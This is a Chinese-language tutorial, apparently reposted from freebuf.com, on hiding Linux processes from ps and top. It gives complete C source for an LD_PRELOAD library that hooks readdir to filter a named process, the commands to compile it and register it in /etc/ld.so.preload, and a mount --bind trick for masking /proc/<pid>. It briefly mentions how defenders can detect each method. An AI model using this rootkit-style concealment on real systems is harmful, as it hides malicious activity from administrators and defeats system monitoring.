前言
上篇介绍了如何在有源码的情况下,通过 argv[] 及 prctl 对进程名及参数进行修改,整篇围绕/proc/pid/目录和 ps、top 命令进行分析,做到了初步隐藏,即修改了 /proc/pid/stat 、/proc/pid/status 、/proc/pid/cmdline 这些文件的信息,使得 ps、top 命令显示了虚假的进程信息;但是还存在一些**缺点**:
1.ps、top 命令还是显示了真实的 pid
2./proc/pid 目录依然存在,/proc/pid/exe 及/proc/pid/cwd 文件依然暴露了可执行文件的真实路径及名称
所以,为了解决以上缺陷,本篇将介绍以下几种方式对进程进行隐藏
1. 应用层下 hook 函数调用
2. 挂载覆盖/proc/pid 目录
PS/TOP 命令工作原理
我们可以使用 strace 命令来了解 PS/TOP 命令的工作原理,strace 命令是一个常用的代码调试工具,它可以跟踪到一个进程产生的系统调用, 包括参数,返回值,执行消耗的时间。
实验系统版本为 ubuntu18 内核版本 Linux ubuntu 5.3.0-28-generic
命令 strace ps 部分显示结果
stat("/proc/1", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6
read(6, "1 (systemd) S 0 1 1 0 -1 4194560"..., 1024) = 328
close(6) = 0
openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6
read(6, "Name:\tsystemd\nUmask:\t0000\nState:"..., 1024) = 1024
read(6, "00000000,00000000,00000000,00000"..., 1024) = 311
close(6) = 0
stat("/proc/2", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6
read(6, "2 (kthreadd) S 0 0 0 0 -1 212998"..., 2048) = 150
close(6) = 0
openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6
read(6, "Name:\tkthreadd\nUmask:\t0000\nState"..., 2048) = 978
close(6) = 0
stat("/proc/3", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6
read(6, "3 (rcu_gp) I 2 0 0 0 -1 69238880"..., 2048) = 151
close(6) = 0
openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6
read(6, "Name:\trcu_gp\nUmask:\t0000\nState:\t"..., 2048) = 969
close(6) = 0
命令 strace top 部分显示结果
openat(AT_FDCWD, "/proc/11433/statm", O_RDONLY) = 9
read(9, "4679 473 371 263 0 127 0\n", 2048) = 25
close(9) = 0
openat(AT_FDCWD, "/proc/11433/status", O_RDONLY) = 9
read(9, "Name:\tstrace\nUmask:\t0022\nState:\t"..., 2048) = 1362
close(9) = 0
stat("/proc/11435", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/11435/stat", O_RDONLY) = 9
read(9, "11435 (top) R 11433 11433 3407 3"..., 2048) = 322
close(9) = 0
openat(AT_FDCWD, "/proc/11435/statm", O_RDONLY) = 9
read(9, "12866 1077 851 25 0 378 0\n", 2048) = 26
close(9)
从上面的结果我们可以看出,ps/top 命令就是在不断的读取/proc/pid 下的文件信息,再显示出来给我看;
一般先调用 stat() 确认文件状态,再调用 openat() 打开文件句柄,然后 read() 读取内容,最后 close() 关闭;不断重复这一系列动作从而获取进程信息;
当然这些都是系统调用,并不是 ps 源码中直接调用的,ps 源码直接调用的函数其实是opendir以及readdir,readdir 内部再进行以上这些系统调用。
top 命令的原理与 ps 类似,这里不多介绍,下面进入正题
一、应用层下 hook 函数调用实现隐藏
我们这里所要 hook 的对象当然就是readdir函数了
这里有两个问题:
1.readdir 函数在哪?
2. 如何 hook?
[readdir][https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html] 在头文件 dirent.h 中声明
头文件:#include <sys/types.h>
#include <dirent.h>
定义:struct dirent * readdir(DIR * dir);
函数说明:readdir() 返回参数 dir 目录流的下个目录进入点。结构 dirent 定义如下:
struct dirent
{
ino_t d_ino; //d_ino 此目录进入点的 inode
ff_t d_off; //d_off 目录文件开头至此目录进入点的位移
signed short int d_reclen; //d_reclen _name 的长度, 不包含 NULL 字符
unsigned char d_type; //d_type d_name 所指的文件类型 d_name 文件名
har d_name[256];
};
返回值:成功则返回下个目录进入点. 有错误发生或读取到目录文件尾则返回 NULL.
如何 hook?
我们这里使用的是 ld_preload 技术,关于此技术可以看我另一篇文章,这里不多介绍
接下来我们正式编写 hook 函数,先以伪代码进行介绍
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/* 这里声明一个函数指针,用来存储 readdir 函数原始调用 */
static struct dirent* (*original_readdir)(DIR*) = NULL;
/* 这里是我们伪造的 readdir 函数,由于我们的 so 库最早被调用,所以 ps 程序调用 readdir 函数时也就调用了我们的同名函数*/
struct dirent* readdir(DIR *dirp)
{
/* 使用 dlsym 函数获取 readdir 真正的入口 */
if(original_readdir == NULL)
original_readdir = dlsym(RTLD_NEXT, readdir);
struct dirent* dir;
/* 这里循环调用原始 readdir 函数 */
while(1)
{
dir = original_readdir(dirp);
// 判断是否为特定的进程名
process_name = get_process_name(dir);
if(process_name=="123456"){
//是,则继续循环,这样就相当于跳过了特定的进程,不打印信息
continue;
}
break;
}
return dir;
}
整个流程非常简单,这里引用一段完整的代码:[github][https://github.com/gianlucaborello/libprocesshider]
修改 process_to_filter 变量为要隐藏的进程即可
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "evil_script.py";
/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, #readdir); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
以上代码非常巧妙的运用了宏定义函数以及 # 号的用法,使得少了很多代码量,同时定义了 64 位版本的 readdir64 以及 readdir 函数。
编译成动态链接库测试
$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
$ mv libprocesshider.so /usr/local/lib/
$ echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
这样一来,ps top 命令就找不到进程的任何踪迹了!
优缺点
优点:相较于通过 argv[] 及 prctl 对进程名及参数进行修改,这种方法彻底隐藏了 ps、top 中进程的信息,看不到 pid
缺点:proc 目录下还是会存在我们进程的 pid 目录
二、挂载覆盖/proc/pid 目录
利用 mount—bind 将另外一个目录挂载覆盖至/proc/目录下指定进程 ID 的目录,我们知道 ps、top 等工具会读取/proc 目录下获取进程信息,如果将进程 ID 的目录信息覆盖,则原来的进程信息将从 ps 的输出结果中隐匿。
例如隐藏进程 id 为 42 的进程信息:
mount -o bind /empty/dir /proc/42
优缺点:
缺点比较明显
cat /proc/pid/mountinfo 或者 cat /proc/mounts 即可知道是否有利用 mount—bind 将其他目录或文件挂载至/proc 下的进程目录
三、总结
hook readdir 函数的方法的确可以完全隐藏掉 ps/top 下的进程信息,隐蔽性还是不够,如果结合 argv[] 及 prctl 一起使用,也还有明显的缺点:
1、存在 proc/pid 目录,防御方利用别的方法遍历一下 pid,与 ps 进行对比即可知道哪些是隐藏进程
2、/proc/pid/exe 以及 /proc/pid/cwd 文件依然暴露了可执行文件的真实路径及名称
Linux 进程隐藏-高级隐藏篇将会进一步介绍更加高级的进程隐藏技术——在内核中对进程进行彻底隐藏。
来源:freebuf.com 2020-09-24 09:59:17 by: imnoone
请登录后发表评论
注册